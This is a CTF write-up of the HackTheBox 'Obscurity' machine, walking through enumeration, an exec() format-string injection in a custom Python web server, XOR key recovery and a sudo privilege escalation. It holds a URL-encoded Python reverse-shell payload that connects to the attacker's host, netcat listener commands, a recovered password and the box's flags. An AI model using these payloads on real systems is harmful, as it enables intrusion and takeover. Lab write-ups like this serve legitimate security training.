Obscurity - Write-up - HackTheBox

noraj

2020-08-06

Contents

1 Information

READ THE WU ONLINE: https://rawsec.ml/en/hackthebox-obscurity-write-up/

1.1 Box

- **Name:** Obscurity
- **Profile:** www.hackthebox.eu
- **Difficulty:** Medium
- **OS:** Linux
- **Points:** 30

Obscurity

OS: Linux

Difficulty: Medium

Points: 30

Release: 30 Nov 2019

IP: 10.10.10.168

Figure 1.1: obscurity

2 Write-up

2.1 Overview

- **Network Enumeration**: nmap 22, 8080
- **Web application discovery**: hints
- **Web application enumeration**: `/../SuperSecureServer.py`
- **Web application exploitation**: RCE
- **System Elevation of Privilege: www-data to robert**: `SuperSecureCrypt.py` XORing
- **System Elevation of Privilege: robert to root**: `BetterSSH.py` command execution

2.2 Network Enumeration

TL;DR: nmap 22, 8080

A very quick and lazy nmap scan shows 2 open services:

```
$ sudo nmap 10.10.10.168
[sudo] password for noraj:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-05 23:10 CET
Nmap scan report for 10.10.10.168
Host is up (0.049s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   closed http
8080/tcp open   http-proxy
9000/tcp closed cslistener
```

2.3 Web application discovery

TL;DR: hints

Let's take a look at the webserver.

On the main page there are several hints.

On the **Our Software** section we can read the following:

> Our suite of custom software currently includes:
>
> A custom written web server Currently resolving minor stability issues; server will restart if it hangs for 30 seconds
>
> An unbreakable encryption algorithm
>
> A more secure replacement to SSH

And on the **Development** section we can read:

> Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

2.4 Web application enumeration

TL;DR: `/../SuperSecureServer.py`

Let's try to find the secret development directory:

```
$ dirsearch -u http://10.10.10.168:8080/ -e py -w
↪  ~/CTF/tools/SecLists/Discovery/Web-Content/raft-large-directories.txt
```

Nothing with `raft-large-files.txt`, dirsearch's or dirb's default wordlist nor with burp pro `directory - long` wordlist.

In fact it was requiring guessing, because they hinted it was a custom web server you have to think it is vulnerable to vulnerabilities real web server are not vulnerable to.

The path was `/../SuperSecureServer.py`. I don't understand why so much people are saying on the forum that this step is nice… In real life a web application can be vulnerable to path traversal but not the web server itself.

At least the HTB skill radar was saying it requires a lot of enumeration and is very CTF-style so we should be surprised it is not realistic. Usually I don't like guessy or unrealistic steps like this one.

However it was possible to find it via another weird way.

If `/XXXX/` subdirectory exists the custom web server won't return a HTTP code that will allow us to find the folder exists but if we request an existing page eg. `/XXXX/validpage.txt` of course we will get a 200. So as we know the name of the page `SuperSecureServer.py` but not the directory it was possible to use wfuzz to fuzz the directory name like that:

```
$ wfuzz -w ~/dict.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
```

And find either `/../` (path traversal) or `/develop/` (just enumeration).

So finally there was a way to find it without guessing.

2.5 Web application exploitation

TL;DR: RCE

So here is the source code of the script.

Immediately is understood there was a vulnerability in those 3 lines:

```
        path = urllib.parse.unquote(path)
...
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
```

A format string passed into an exec.

So it seems we will be able to execute some commands for example to download and execute a reverse shell.

To try it out I added those two lines and started the server locally.

```
serv = Server('127.0.0.1', 7777)
serv.listen()
```

Then I started a reverse shell listener with `nc -nlp 9999` and URL encoded the key characters of the reverse shell payload so it can fit in the URL.

```
http://127.0.0.1:7777/toto.html?tata=a%27;%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S
↪   i%22]);%20a=%20%27
```

As I worked I tried immediately on the box.

```
GET
↪   /?tata=a%27;%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10
↪   i%22]);%20a=%20%27
↪   HTTP/1.1
Host: 10.10.10.168:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

2.6 System Elevation of Privilege: www-data to robert

TL;DR: `SuperSecureCrypt.py` XORing

I started enumerating the home directories and saw this:

```
$ cd /home/robert/
$ ls -lh
total 24K
drwxr-xr-x 2 root   root   4.0K Dec  2 09:47 BetterSSH
-rw-rw-r-- 1 robert robert   94 Sep 26 23:08 check.txt
-rw-rw-r-- 1 robert robert  185 Oct  4 15:01 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4 15:01 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2.5K Oct  4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25 14:12 user.txt
```

We can see there is script named `SuperSecureCrypt.py` (source code).

`out.txt` seems to be encrypted with the script, `check.txt` seems to be the corresponding clear text and `passwordreminder.txt` is also encrypted.

The encrypt and decrypt functions seems to be XOR-like functions so it is permutable: `out.txt x check.txt = key`.

To do that with the CLI interface we provide `out.txt` as the input and `check.txt` as the key so the resulting "encrypted" file gives us in fact the clear text key `alexandrovich`.

Doing the same with the encrypted password and the real key we can find the clear text of the password.

```
$ python SuperSecureCrypt.py -i out.txt -o out2.txt -k "$(cat check.txt)" -d
$ python SuperSecureCrypt.py -i passwordreminder.txt -o out2.txt -k "alexandrovich" -d
```

Robert password is `SecThruObsFTW`.

So now we can connect to ssh as robert.

```
$ ssh -v robert@10.10.10.168
...
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
```

2.7 System Elevation of Privilege: robert to root

TL;DR: `BetterSSH.py` command execution

It seems we can run a python script as root.

```
robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
```

Source code of `BetterSSH.py`

We can replace the script executed as root by a python reverse shell and execute it.

`robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py`

```
$ nc -nlp 8888
root@obscure:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:~# cd /root
cd /root
root@obscure:/root# ls
ls
root.txt
root@obscure:/root# cat root.txt
cat root.txt
512fd4429f33a113a44d5acde23609e3
```

Else the normal way would have been to use a command injection in `cmd = ['sudo', '-u', session['user']]`.

2.8 Files

- [Gist]
  - SuperSecureServer.py
  - SuperSecureCrypt.py
  - BetterSSH.py